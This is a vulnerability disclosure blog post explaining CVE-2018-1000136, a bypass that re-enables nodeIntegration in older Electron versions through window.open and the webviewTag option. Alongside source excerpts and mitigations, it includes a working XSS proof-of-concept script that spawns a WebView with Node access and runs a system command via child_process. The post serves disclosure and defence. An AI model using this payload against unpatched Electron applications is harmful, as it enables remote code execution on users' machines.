CVE-2018-1000136 - Electron nodeIntegration Bypass

A few weeks ago, I came across a vulnerability that affected all current versions of Electron at the time (< 1.7.13, < 1.8.4, and < 2.0.0-beta.3). The vulnerability allowed nodeIntegration to be re-enabled, leading to the potential for remote code execution. If you're unfamiliar with Electron, it is a popular framework that allows you to create cross-platform desktop applications using HTML, CSS, and JavaScript. Some popular applications such as Slack, Discord, Signal, Atom, Visual Studio Code, and Github Desktop are all built using the Electron framework. You can find a list of applications built with Electron here.

Electron applications are essentially web apps, which means they're susceptible to cross-site scripting attacks through failure to correctly sanitize user-supplied input. A default Electron application includes access to not only its own APIs, but also includes access to all of Node.js' built in modules. This makes XSS particularly dangerous, as an attacker's payload can allow do some nasty things such as require in the child_process module and execute system commands on the client-side. Atom had an XSS vulnerability not too long ago which did exactly that. You can remove access to Node.js by passing nodeIntegration: false into your application's webPreferences.

There's also a WebView tag feature which allows you to embed content, such as web pages, into your Electron application and run it as a separate process. When using a WebView tag you are also able to pass in a number of attributes, including nodeIntegration. WebView containers do not have nodeIntegration enabled by default. The documentation states that if the webviewTag option is not explicitly declared in your webPreferences, it will inherit the same permissions of whatever the value of nodeIntegration is set to.

By default, Electron also uses its own custom window.open() function which creates a new instance of a BrowserWindow. The child window will inherit all of the parent window's options (which includes its webPreferences) by default. The custom window.open() function does allow you to override some of the inherited options by passing in a featuresargument:

if (!usesNativeWindowOpen) {
    // Make the browser window or guest view emit "new-window" event.
    window.open = function (url, frameName, features) {
      if (url != null && url !== '') {
        url = resolveURL(url)
      }
      const guestId = ipcRenderer.sendSync('ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPEN', url, toString(frameName), toString(features))
      if (guestId != null) {
        return getOrCreateProxy(ipcRenderer, guestId)
      } else {
        return null
      }
   }

  if (openerId != null) {
    window.opener = getOrCreateProxy(ipcRenderer, openerId)
  }
}

When Electron's custom window.open function is called, it emits an ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPENevent. The ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPENevent handler then parses the features provided, adding them as options to the newly created window and then emits an ELECTRON_GUEST_WINDOW_MANAGER_INTERNAL_WINDOW_OPENevent. To prevent child windows from being able to do nasty things like re-enabling nodeIntegration when the parent window has it explicitly disabled, guest-window-manager.js contains a hardcoded list of webPreferences options and their restrictive values:

// Security options that child windows will always inherit from parent windows
const inheritedWebPreferences = new Map([
 ['contextIsolation', true],
 ['javascript', false],
 ['nativeWindowOpen', true],
 ['nodeIntegration', false],
 ['sandbox', true],
 ['webviewTag', false]
]);

The ELECTRON_GUEST_WINDOW_MANAGER_INTERNAL_WINDOW_OPEN event handler then calls the mergeBrowserWindowOptionsfunction which ensures that the restricted attributes of the parent window's webPreferences are applied to the child window:

  const mergeBrowserWindowOptions = function (embedder, options) {

    [...]

    // Inherit certain option values from parent window
    for (const [name, value] of inheritedWebPreferences) {
      if (embedder.getWebPreferences()[name] === value) {
        options.webPreferences[name] = value
      }
    }

    // Sets correct openerId here to give correct options to 'new-window' event handler
    options.webPreferences.openerId = embedder.id

    return options
  }

And here is where the vulnerability lays. The mergeBrowserWindowOptions function didn't take into account what the default values of these restricted attributes should be if they were undefined. In other words, if webviewTag: falsewasn't explicitly declared in your application's webPreferences (and was therefore being inferred by explicitly setting nodeIntegration: false), when mergeBrowserWindowOptions went to check the webviewTag, it would then come back undefined thus making the above if statement return false and not apply the parent's webviewTag preference. This allowed window.open to pass the webviewTag option as an additional feature, re-enabling nodeIntegration and allowing the potential for remote code execution.

The following proof-of-concept shows how an XSS payload can re-enable nodeIntegration during run time and allow execution of system commands:

<script>
var x = window.open('data://yoloswag','','webviewTag=yes,show=no');
x.eval(
  "var webview = new WebView;"+
  "webview.setAttribute('webpreferences', 'webSecurity=no, nodeIntegration=yes');"+
  "webview.src = `data:text/html;base64,PHNjcmlwdD5yZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnbHMgLWxhJywgZnVuY3Rpb24gKGUscikgeyBhbGVydChyKTt9KTs8L3NjcmlwdD4=`;"+
  "document.body.appendChild(webview)"
);
</script>

If you find an Electron application with the nodeIntegration option disabled and it contains either an XSS vulnerability through poor sanitization of user input or a vulnerability in another dependency of the application, the above proof-of-concept can allow for remote code execution provided that the application is using a vulnerable version of Electron (version < 1.7.13, < 1.8.4, or < 2.0.0-beta.3) , and hasn't manually opted into one of the following:

  • Declared webviewTag: false in its webPreferences.
  • Enabled the nativeWindowOption option in its webPreferences.
  • Intercepting new-window events and overriding event.newGuest without using the supplied options tag.

We'd also like to thank the Electron team for being extremely responsive and for quickly providing a patch to the public.

This vulnerability was assigned the CVE identifier CVE-2018-1000136.

Trustwave reserves the right to review all comments in the discussion below. Please note that for security and other reasons, we may not approve comments containing links.